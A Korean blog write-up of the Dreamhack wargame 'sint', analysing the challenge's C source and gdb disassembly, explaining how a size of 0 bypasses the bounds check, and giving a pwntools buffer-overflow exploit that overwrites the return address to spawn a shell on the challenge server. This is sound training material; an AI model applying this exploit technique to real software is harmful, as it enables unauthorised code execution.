[dreamhack] sint

Monitor In Secure☃️·2024년 4월 10일

wargame_pwn

목록 보기
8/11

size와 data를 입력하는 문제이다.

코드 분석)

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell()
{
    system("/bin/sh");
}

int main()
{
    char buf[256];
    int size;

    initialize();

    signal(SIGSEGV, get_shell);

    printf("Size: ");
    scanf("%d", &size);

    if (size > 256 || size < 0)
    {
        printf("Buffer Overflow!\n");
        exit(0);
    }

    printf("Data: ");
    read(0, buf, size - 1);

    return 0;
}

stevbuf(stdin, NULL, IONBF, 0);

stdin파일을 함수 내부에서 필요한 만큼 크기를 할당하여 사용한다.

signal(SIGSEGV, get_shell);

*SIGSEGV : segmentations fault

프로그램이 잘못된 메모리 위치에 접근하려고 시도할 때 발생하게 되는데 이러한 시그널이 발생했을 때 get_shell 함수가 실행되도록 구현하였다.

if (size > 256 || size < 0)
{
    printf("Buffer Overflow!\n");
    exit(0);
}

size가 256 이상이나 0 이하면 'Buffer Overflow!'가 출력되면서 나가게 된다. 이를 통해 size는 무조건 0으로 해서 공격해야한다는 것을 알 수 있다.

read(0, buf, size - 1);

size 값을 입력 받고 size-1만큼 buf에 입력을 받는다.


gdb로 확인)

   0x0804866c <+0>:	push   ebp
   0x0804866d <+1>:	mov    ebp,esp
   0x0804866f <+3>:	sub    esp,0x104
   0x08048675 <+9>:	call   0x8048612 <initialize>
   0x0804867a <+14>:	push   0x8048659
   0x0804867f <+19>:	push   0xb
   0x08048681 <+21>:	call   0x8048470 <signal@plt>
   0x08048686 <+26>:	add    esp,0x8
   0x08048689 <+29>:	push   0x80487a1
   0x0804868e <+34>:	call   0x8048460 <printf@plt>
   0x08048693 <+39>:	add    esp,0x4
   0x08048696 <+42>:	lea    eax,[ebp-0x104]
   0x0804869c <+48>:	push   eax
   0x0804869d <+49>:	push   0x80487a8
   0x080486a2 <+54>:	call   0x80484e0 <__isoc99_scanf@plt>
   0x080486a7 <+59>:	add    esp,0x8
   0x080486aa <+62>:	mov    eax,DWORD PTR [ebp-0x104]
   0x080486b0 <+68>:	cmp    eax,0x100
   0x080486b5 <+73>:	jg     0x80486c1 <main+85>
   0x080486b7 <+75>:	mov    eax,DWORD PTR [ebp-0x104]
   0x080486bd <+81>:	test   eax,eax
   0x080486bf <+83>:	jns    0x80486d5 <main+105>
   0x080486c1 <+85>:	push   0x80487ab
   0x080486c6 <+90>:	call   0x8048490 <puts@plt>
   0x080486cb <+95>:	add    esp,0x4
   0x080486ce <+98>:	push   0x0
   0x080486d0 <+100>:	call   0x80484b0 <exit@plt>
   0x080486d5 <+105>:	push   0x80487bc
   0x080486da <+110>:	call   0x8048460 <printf@plt>
   0x080486df <+115>:	add    esp,0x4
   0x080486e2 <+118>:	mov    eax,DWORD PTR [ebp-0x104]
   0x080486e8 <+124>:	sub    eax,0x1
   0x080486eb <+127>:	push   eax
   0x080486ec <+128>:	lea    eax,[ebp-0x100]
   0x080486f2 <+134>:	push   eax
   0x080486f3 <+135>:	push   0x0
   0x080486f5 <+137>:	call   0x8048450 <read@plt>
   0x080486fa <+142>:	add    esp,0xc
   0x080486fd <+145>:	mov    eax,0x0
   0x08048702 <+150>:	leave  
   0x08048703 <+151>:	ret   

get_shell()함수와 read 함수 간의 offset을 구해야 한다.

0x0804866c <+0>: push ebp
0x0804866d <+1>: mov ebp,esp
0x0804866f <+3>: sub esp,0x104

위와 같은 스택 구조를 가지기 때문에 할당되는 변수에는 0x104만큼 주어진 것을 확인할 수 있다.
따라서 변수~ret까지의 거리는 0x104(buf)+0x4(ebp) = 0x108(264(10))이다. 따라서 264byte 후 ret 값에 들어가고 get_shell()함수의 주소가 들어가면 된다.

get_shell()함수 주소 구하기)

-> get_shell() : 0x08048659
(info functions로 구해도 된다)

exploit code)

from pwn import *

p = remote("host3.dreamhack.games", 17014);

get_shell = p32(0x08048659)
payload = b'a'*264
payload += get_shell

p.recvuntil(b'Size: ')
p.sendline(b'0')
p.recvuntil(b'Data: ')
p.send(payload)

p.interactive()

플래그가 출력되었다.

0개의 댓글